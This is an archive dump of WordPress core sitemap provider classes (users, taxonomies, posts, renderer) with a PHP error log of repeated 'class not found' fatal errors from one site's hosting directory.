		$sitemap_types = $this->get_sitemap_type_data();

		foreach ( $sitemap_types as $type ) {
			for ( $page = 1; $page <= $type['pages']; $page++ ) {
				$sitemap_entry = array(
					'loc' => $this->get_sitemap_url( $type['name'], $page ),
				);

				/**
				 * Filters the sitemap entry for the sitemap index.
				 *
				 * @since 5.5.0
				 *
				 * @param array  $sitemap_entry  Sitemap entry for the post.
				 * @param string $object_type    Object empty name.
				 * @param string $object_subtype Object subtype name.
				 *                               Empty string if the object type does not support subtypes.
				 * @param int    $page           Page number of results.
				 */
				$sitemap_entry = apply_filters( 'wp_sitemaps_index_entry', $sitemap_entry, $this->object_type, $type['name'], $page );

				$sitemaps[] = $sitemap_entry;
			}
		}

		return $sitemaps;
	}

	/**
	 * Gets the URL of a sitemap entry.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @param string $name The name of the sitemap.
	 * @param int    $page The page of the sitemap.
	 * @return string The composed URL for a sitemap entry.
	 */
	public function get_sitemap_url( $name, $page ) {
		global $wp_rewrite;

		// Accounts for cases where name is not included, ex: sitemaps-users-1.xml.
		$params = array_filter(
			array(
				'sitemap'         => $this->name,
				'sitemap-subtype' => $name,
				'paged'           => $page,
			)
		);

		$basename = sprintf(
			'/wp-sitemap-%1$s.xml',
			implode( '-', $params )
		);

		if ( ! $wp_rewrite->using_permalinks() ) {
			$basename = '/?' . http_build_query( $params, '', '&' );
		}

		return home_url( $basename );
	}

	/**
	 * Returns the list of supported object subtypes exposed by the provider.
	 *
	 * @since 5.5.0
	 *
	 * @return array List of object subtypes objects keyed by their name.
	 */
	public function get_object_subtypes() {
		return array();
	}
}
PK�Ud[�&%%providers/error_lognu�[���[27-Oct-2025 23:43:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[27-Oct-2025 23:44:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[27-Oct-2025 23:49:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[30-Oct-2025 01:20:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[30-Oct-2025 03:33:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[30-Oct-2025 03:37:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[01-Nov-2025 13:52:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[01-Nov-2025 13:54:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[01-Nov-2025 13:55:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[02-Nov-2025 02:58:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[02-Nov-2025 02:58:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[02-Nov-2025 04:01:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[03-Nov-2025 10:20:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[03-Nov-2025 10:20:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[03-Nov-2025 10:20:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[03-Nov-2025 10:24:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[03-Nov-2025 17:13:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[03-Nov-2025 20:47:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[04-Nov-2025 01:10:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[04-Nov-2025 07:54:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[04-Nov-2025 07:54:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[04-Nov-2025 07:55:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[04-Nov-2025 08:03:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[04-Nov-2025 08:03:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[04-Nov-2025 08:14:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
PK�Ud[1$9�YY%providers/class-wp-sitemaps-users.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Users class
 *
 * Builds the sitemaps for the 'user' object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Users XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Users extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Users constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->name        = 'users';
		$this->object_type = 'user';
	}

	/**
	 * Gets a URL list for a user sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Not applicable for Users but
	 *                               required for compatibility with the parent
	 *                               provider class. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = '' ) {
		/**
		 * Filters the users URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list The URL list. Default null.
		 * @param int        $page_num Page of results.
		 */
		$url_list = apply_filters(
			'wp_sitemaps_users_pre_url_list',
			null,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$args          = $this->get_users_query_args();
		$args['paged'] = $page_num;

		$query    = new WP_User_Query( $args );
		$users    = $query->get_results();
		$url_list = array();

		foreach ( $users as $user ) {
			$sitemap_entry = array(
				'loc' => get_author_posts_url( $user->ID ),
			);

			/**
			 * Filters the sitemap entry for an individual user.
			 *
			 * @since 5.5.0
			 *
			 * @param array   $sitemap_entry Sitemap entry for the user.
			 * @param WP_User $user          User object.
			 */
			$sitemap_entry = apply_filters( 'wp_sitemaps_users_entry', $sitemap_entry, $user );
			$url_list[]    = $sitemap_entry;
		}

		return $url_list;
	}

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 *
	 * @see WP_Sitemaps_Provider::max_num_pages
	 *
	 * @param string $object_subtype Optional. Not applicable for Users but
	 *                               required for compatibility with the parent
	 *                               provider class. Default empty.
	 * @return int Total page count.
	 */
	public function get_max_num_pages( $object_subtype = '' ) {
		/**
		 * Filters the max number of pages for a user sitemap before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param int|null $max_num_pages The maximum number of pages. Default null.
		 */
		$max_num_pages = apply_filters( 'wp_sitemaps_users_pre_max_num_pages', null );

		if ( null !== $max_num_pages ) {
			return $max_num_pages;
		}

		$args  = $this->get_users_query_args();
		$query = new WP_User_Query( $args );

		$total_users = $query->get_total();

		return (int) ceil( $total_users / wp_sitemaps_get_max_urls( $this->object_type ) );
	}

	/**
	 * Returns the query args for retrieving users to list in the sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @return array Array of WP_User_Query arguments.
	 */
	protected function get_users_query_args() {
		$public_post_types = get_post_types(
			array(
				'public' => true,
			)
		);

		// We're not supporting sitemaps for author pages for attachments and pages.
		unset( $public_post_types['attachment'] );
		unset( $public_post_types['page'] );

		/**
		 * Filters the query arguments for authors with public posts.
		 *
		 * Allows modification of the authors query arguments before querying.
		 *
		 * @see WP_User_Query for a full list of arguments
		 *
		 * @since 5.5.0
		 *
		 * @param array $args Array of WP_User_Query arguments.
		 */
		$args = apply_filters(
			'wp_sitemaps_users_query_args',
			array(
				'has_published_posts' => array_keys( $public_post_types ),
				'number'              => wp_sitemaps_get_max_urls( $this->object_type ),
			)
		);

		return $args;
	}
}
PK�Ud[-��_*providers/class-wp-sitemaps-taxonomies.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Taxonomies class
 *
 * Builds the sitemaps for the 'taxonomy' object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Taxonomies XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Taxonomies extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Taxonomies constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->name        = 'taxonomies';
		$this->object_type = 'term';
	}

	/**
	 * Returns all public, registered taxonomies.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Taxonomy[] Array of registered taxonomy objects keyed by their name.
	 */
	public function get_object_subtypes() {
		$taxonomies = get_taxonomies( array( 'public' => true ), 'objects' );

		$taxonomies = array_filter( $taxonomies, 'is_taxonomy_viewable' );

		/**
		 * Filters the list of taxonomy object subtypes available within the sitemap.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Taxonomy[] $taxonomies Array of registered taxonomy objects keyed by their name.
		 */
		return apply_filters( 'wp_sitemaps_taxonomies', $taxonomies );
	}

	/**
	 * Gets a URL list for a taxonomy sitemap.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Taxonomy name. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = '' ) {
		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $object_subtype;

		$supported_types = $this->get_object_subtypes();

		// Bail early if the queried taxonomy is not supported.
		if ( ! isset( $supported_types[ $taxonomy ] ) ) {
			return array();
		}

		/**
		 * Filters the taxonomies URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list The URL list. Default null.
		 * @param string       $taxonomy Taxonomy name.
		 * @param int          $page_num Page of results.
		 */
		$url_list = apply_filters(
			'wp_sitemaps_taxonomies_pre_url_list',
			null,
			$taxonomy,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$url_list = array();

		// Offset by how many terms should be included in previous pages.
		$offset = ( $page_num - 1 ) * wp_sitemaps_get_max_urls( $this->object_type );

		$args           = $this->get_taxonomies_query_args( $taxonomy );
		$args['fields'] = 'all';
		$args['offset'] = $offset;

		$taxonomy_terms = new WP_Term_Query( $args );

		if ( ! empty( $taxonomy_terms->terms ) ) {
			foreach ( $taxonomy_terms->terms as $term ) {
				$term_link = get_term_link( $term, $taxonomy );

				if ( is_wp_error( $term_link ) ) {
					continue;
				}

				$sitemap_entry = array(
					'loc' => $term_link,
				);

				/**
				 * Filters the sitemap entry for an individual term.
				 *
				 * @since 5.5.0
				 * @since 6.0.0 Added `$term` argument containing the term object.
				 *
				 * @param array   $sitemap_entry Sitemap entry for the term.
				 * @param int     $term_id       Term ID.
				 * @param string  $taxonomy      Taxonomy name.
				 * @param WP_Term $term          Term object.
				 */
				$sitemap_entry = apply_filters( 'wp_sitemaps_taxonomies_entry', $sitemap_entry, $term->term_id, $taxonomy, $term );
				$url_list[]    = $sitemap_entry;
			}
		}

		return $url_list;
	}

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param string $object_subtype Optional. Taxonomy name. Default empty.
	 * @return int Total number of pages.
	 */
	public function get_max_num_pages( $object_subtype = '' ) {
		if ( empty( $object_subtype ) ) {
			return 0;
		}

		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $object_subtype;

		/**
		 * Filters the max number of pages for a taxonomy sitemap before it is generated.
		 *
		 * Passing a non-null value will short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param int|null $max_num_pages The maximum number of pages. Default null.
		 * @param string   $taxonomy      Taxonomy name.
		 */
		$max_num_pages = apply_filters( 'wp_sitemaps_taxonomies_pre_max_num_pages', null, $taxonomy );

		if ( null !== $max_num_pages ) {
			return $max_num_pages;
		}

		$term_count = wp_count_terms( $this->get_taxonomies_query_args( $taxonomy ) );

		return (int) ceil( (int) $term_count / wp_sitemaps_get_max_urls( $this->object_type ) );
	}

	/**
	 * Returns the query args for retrieving taxonomy terms to list in the sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param string $taxonomy Taxonomy name.
	 * @return array Array of WP_Term_Query arguments.
	 */
	protected function get_taxonomies_query_args( $taxonomy ) {
		/**
		 * Filters the taxonomy terms query arguments.
		 *
		 * Allows modification of the taxonomy query arguments before querying.
		 *
		 * @see WP_Term_Query for a full list of arguments
		 *
		 * @since 5.5.0
		 *
		 * @param array  $args     Array of WP_Term_Query arguments.
		 * @param string $taxonomy Taxonomy name.
		 */
		$args = apply_filters(
			'wp_sitemaps_taxonomies_query_args',
			array(
				'taxonomy'               => $taxonomy,
				'orderby'                => 'term_order',
				'number'                 => wp_sitemaps_get_max_urls( $this->object_type ),
				'hide_empty'             => true,
				'hierarchical'           => false,
				'update_term_meta_cache' => false,
			),
			$taxonomy
		);

		return $args;
	}
}
PK�Ud[��rUU%providers/class-wp-sitemaps-posts.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Posts class
 *
 * Builds the sitemaps for the 'post' object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Posts XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Posts extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Posts constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->name        = 'posts';
		$this->object_type = 'post';
	}

	/**
	 * Returns the public post types, which excludes nav_items and similar types.
	 * Attachments are also excluded. This includes custom post types with public = true.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Post_Type[] Array of registered post type objects keyed by their name.
	 */
	public function get_object_subtypes() {
		$post_types = get_post_types( array( 'public' => true ), 'objects' );
		unset( $post_types['attachment'] );

		$post_types = array_filter( $post_types, 'is_post_type_viewable' );

		/**
		 * Filters the list of post object sub types available within the sitemap.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Post_Type[] $post_types Array of registered post type objects keyed by their name.
		 */
		return apply_filters( 'wp_sitemaps_post_types', $post_types );
	}

	/**
	 * Gets a URL list for a post type sitemap.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Post type name. Default empty.
	 *
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = '' ) {
		// Restores the more descriptive, specific name for use within this method.
		$post_type = $object_subtype;

		// Bail early if the queried post type is not supported.
		$supported_types = $this->get_object_subtypes();

		if ( ! isset( $supported_types[ $post_type ] ) ) {
			return array();
		}

		/**
		 * Filters the posts URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list  The URL list. Default null.
		 * @param string       $post_type Post type name.
		 * @param int          $page_num  Page of results.
		 */
		$url_list = apply_filters(
			'wp_sitemaps_posts_pre_url_list',
			null,
			$post_type,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$args          = $this->get_posts_query_args( $post_type );
		$args['paged'] = $page_num;

		$query = new WP_Query( $args );

		$url_list = array();

		/*
		 * Add a URL for the homepage in the pages sitemap.
		 * Shows only on the first page if the reading settings are set to display latest posts.
		 */
		if ( 'page' === $post_type && 1 === $page_num && 'posts' === get_option( 'show_on_front' ) ) {
			// Extract the data needed for home URL to add to the array.
			$sitemap_entry = array(
				'loc' => home_url( '/' ),
			);

			/*
			 * Get the most recent posts displayed on the homepage,
			 * and then sort them by their modified date to find
			 * the date the homepage was approximately last updated.
			 */
			$latest_posts = new WP_Query(
				array(
					'post_type'              => 'post',
					'post_status'            => 'publish',
					'orderby'                => 'date',
					'order'                  => 'DESC',
					'no_found_rows'          => true,
					'update_post_meta_cache' => false,
					'update_post_term_cache' => false,
				)
			);

			if ( ! empty( $latest_posts->posts ) ) {
				$posts = wp_list_sort( $latest_posts->posts, 'post_modified_gmt', 'DESC' );

				$sitemap_entry['lastmod'] = wp_date( DATE_W3C, strtotime( $posts[0]->post_modified_gmt ) );
			}

			/**
			 * Filters the sitemap entry for the home page when the 'show_on_front' option equals 'posts'.
			 *
			 * @since 5.5.0
			 *
			 * @param array $sitemap_entry Sitemap entry for the home page.
			 */
			$sitemap_entry = apply_filters( 'wp_sitemaps_posts_show_on_front_entry', $sitemap_entry );
			$url_list[]    = $sitemap_entry;
		}

		foreach ( $query->posts as $post ) {
			$sitemap_entry = array(
				'loc'     => get_permalink( $post ),
				'lastmod' => wp_date( DATE_W3C, strtotime( $post->post_modified_gmt ) ),
			);

			/**
			 * Filters the sitemap entry for an individual post.
			 *
			 * @since 5.5.0
			 *
			 * @param array   $sitemap_entry Sitemap entry for the post.
			 * @param WP_Post $post          Post object.
			 * @param string  $post_type     Name of the post_type.
			 */
			$sitemap_entry = apply_filters( 'wp_sitemaps_posts_entry', $sitemap_entry, $post, $post_type );
			$url_list[]    = $sitemap_entry;
		}

		return $url_list;
	}

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param string $object_subtype Optional. Post type name. Default empty.
	 * @return int Total number of pages.
	 */
	public function get_max_num_pages( $object_subtype = '' ) {
		if ( empty( $object_subtype ) ) {
			return 0;
		}

		// Restores the more descriptive, specific name for use within this method.
		$post_type = $object_subtype;

		/**
		 * Filters the max number of pages before it is generated.
		 *
		 * Passing a non-null value will short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param int|null $max_num_pages The maximum number of pages. Default null.
		 * @param string   $post_type     Post type name.
		 */
		$max_num_pages = apply_filters( 'wp_sitemaps_posts_pre_max_num_pages', null, $post_type );

		if ( null !== $max_num_pages ) {
			return $max_num_pages;
		}

		$args                  = $this->get_posts_query_args( $post_type );
		$args['fields']        = 'ids';
		$args['no_found_rows'] = false;

		$query = new WP_Query( $args );

		$min_num_pages = ( 'page' === $post_type && 'posts' === get_option( 'show_on_front' ) ) ? 1 : 0;
		return isset( $query->max_num_pages ) ? max( $min_num_pages, $query->max_num_pages ) : 1;
	}

	/**
	 * Returns the query args for retrieving posts to list in the sitemap.
	 *
	 * @since 5.5.0
	 * @since 6.1.0 Added `ignore_sticky_posts` default parameter.
	 *
	 * @param string $post_type Post type name.
	 * @return array Array of WP_Query arguments.
	 */
	protected function get_posts_query_args( $post_type ) {
		/**
		 * Filters the query arguments for post type sitemap queries.
		 *
		 * @see WP_Query for a full list of arguments.
		 *
		 * @since 5.5.0
		 * @since 6.1.0 Added `ignore_sticky_posts` default parameter.
		 *
		 * @param array  $args      Array of WP_Query arguments.
		 * @param string $post_type Post type name.
		 */
		$args = apply_filters(
			'wp_sitemaps_posts_query_args',
			array(
				'orderby'                => 'ID',
				'order'                  => 'ASC',
				'post_type'              => $post_type,
				'posts_per_page'         => wp_sitemaps_get_max_urls( $this->object_type ),
				'post_status'            => array( 'publish' ),
				'no_found_rows'          => true,
				'update_post_term_cache' => false,
				'update_post_meta_cache' => false,
				'ignore_sticky_posts'    => true, // Sticky posts will still appear, but they won't be moved to the front.
			),
			$post_type
		);

		return $args;
	}
}
PK�Ud[+@��class-wp-sitemaps-renderer.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Renderer class
 *
 * Responsible for rendering Sitemaps data to XML in accordance with sitemap protocol.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Renderer
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps_Renderer {
	/**
	 * XSL stylesheet for styling a sitemap for web browsers.
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $stylesheet = '';

	/**
	 * XSL stylesheet for styling a sitemap for web browsers.
	 *
	 * @since 5.5.0
	 *
	 * @var string
	 */
	protected $stylesheet_index = '';

	/**
	 * WP_Sitemaps_Renderer constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$stylesheet_url = $this->get_sitemap_stylesheet_url();

		if ( $stylesheet_url ) {
			$this->stylesheet = '<?xml-stylesheet type="text/xsl" href="' . esc_url( $stylesheet_url ) . '" ?>';
		}

		$stylesheet_index_url = $this->get_sitemap_index_stylesheet_url();

		if ( $stylesheet_index_url ) {
			$this->stylesheet_index = '<?xml-stylesheet type="text/xsl" href="' . esc_url( $stylesheet_index_url ) . '" ?>';
		}
	}

	/**
	 * Gets the URL for the sitemap stylesheet.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @return string The sitemap stylesheet URL.
	 */
	public function get_sitemap_stylesheet_url() {
		global $wp_rewrite;

		$sitemap_url = home_url( '/wp-sitemap.xsl' );

		if ( ! $wp_rewrite->using_permalinks() ) {
			$sitemap_url = home_url( '/?sitemap-stylesheet=sitemap' );
		}

		/**
		 * Filters the URL for the sitemap stylesheet.
		 *
		 * If a falsey value is returned, no stylesheet will be used and
		 * the "raw" XML of the sitemap will be displayed.
		 *
		 * @since 5.5.0
		 *
		 * @param string $sitemap_url Full URL for the sitemaps XSL file.
		 */
		return apply_filters( 'wp_sitemaps_stylesheet_url', $sitemap_url );
	}

	/**
	 * Gets the URL for the sitemap index stylesheet.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @return string The sitemap index stylesheet URL.
	 */
	public function get_sitemap_index_stylesheet_url() {
		global $wp_rewrite;

